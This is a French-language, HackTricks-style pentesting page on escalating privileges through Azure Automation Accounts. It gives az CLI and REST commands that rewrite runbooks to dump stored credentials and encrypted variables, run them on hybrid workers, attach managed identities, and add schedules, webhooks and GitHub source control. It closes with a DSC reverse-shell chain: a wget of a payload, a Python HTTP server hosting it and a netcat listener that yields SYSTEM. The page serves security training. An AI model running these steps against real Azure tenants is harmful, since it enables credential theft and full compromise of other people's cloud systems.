# Az - Azure Automation Accounts Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Automation Accounts

Pour plus d'informations, consultez :

{{#ref}}
../az-services/az-automation-accounts.md
{{#endref}}

### Hybrid Workers Group

N'oubliez pas que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure.

De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.

> [!TIP]
> N'oubliez pas que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**).

### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)

En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation, que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.

L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Notez comment le script précédent peut être utilisé pour **leak the useranmd and password** d'un identifiant et la valeur d'une **encrypted variable** stockée dans le compte d'automatisation.

La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans le compte d'automatisation afin que les modifications soient appliquées :
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
La permission **`Microsoft.Automation/automationAccounts/jobs/write`** permet à l'utilisateur d'exécuter un Runbook dans le compte d'automatisation en utilisant :
```bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
La permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** permet à l'utilisateur de lire la sortie d'un travail dans le compte d'automatisation en utilisant :
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Si aucun Runbook n'est créé, ou si vous souhaitez en créer un nouveau, vous aurez besoin des **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` et `Microsoft.Automation/automationAccounts/runbooks/write`** pour le faire en utilisant :
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Cette permission permet à l'utilisateur de **assigner une identité gérée par l'utilisateur** au compte d'automatisation en utilisant :
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`

Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très furtif) en utilisant la commande suivante.

Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que le **temps de début minimum est de 5 minutes** dans le futur.
```bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
```
Ensuite, avec la permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, il est possible d'assigner un Scheduler à un runbook en utilisant :
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
```
> [!TIP]
> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation.

### `Microsoft.Automation/automationAccounts/webhooks/write`

Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante.

Notez que vous devrez **indiquer l'URI du webhook** avec le token à utiliser.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'

# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`

Avec la permission `Microsoft.Automation/automationAccounts/runbooks/draft/write`, il est possible de **mettre à jour le code d'un Runbook** sans le publier et de l'exécuter en utilisant les commandes suivantes.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)

Cette permission permet à l'utilisateur de **configurer un contrôle de source** pour le compte d'automatisation en utilisant des commandes telles que les suivantes (cela utilise Github comme exemple) :
```bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**.

De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID géré doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.

> [!TIP]
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé.

### `Microsoft.Automation/automationAccounts/variables/write`

Avec l'autorisation **`Microsoft.Automation/automationAccounts/variables/write`**, il est possible d'écrire des variables dans le compte d'automatisation en utilisant la commande suivante.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Environnements d'exécution personnalisés

Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette manière, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.

### Compromission de la configuration d'état

**Consultez le post complet sur :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)

- Étape 1 — Créer des fichiers

**Fichiers requis :** Deux scripts PowerShell sont nécessaires :
1. `reverse_shell_config.ps1` : Un fichier de configuration d'état désiré (DSC) qui récupère et exécute le payload. Il est disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1` : Un script pour publier la configuration sur la VM, disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).

**Personnalisation :** Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.

- Étape 2 — Compresser le fichier de configuration

Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Étape 3 — Définir le contexte de stockage et télécharger

Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Étape 4 — Préparer la Kali Box

Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell.

- Étape 5 — Publier le fichier de configuration

Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.

- Étape 6 — Héberger la charge utile et configurer l'écouteur

Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
La tâche planifiée exécute le payload, atteignant des privilèges de niveau SYSTEM.

{{#include ../../../banners/hacktricks-training.md}}
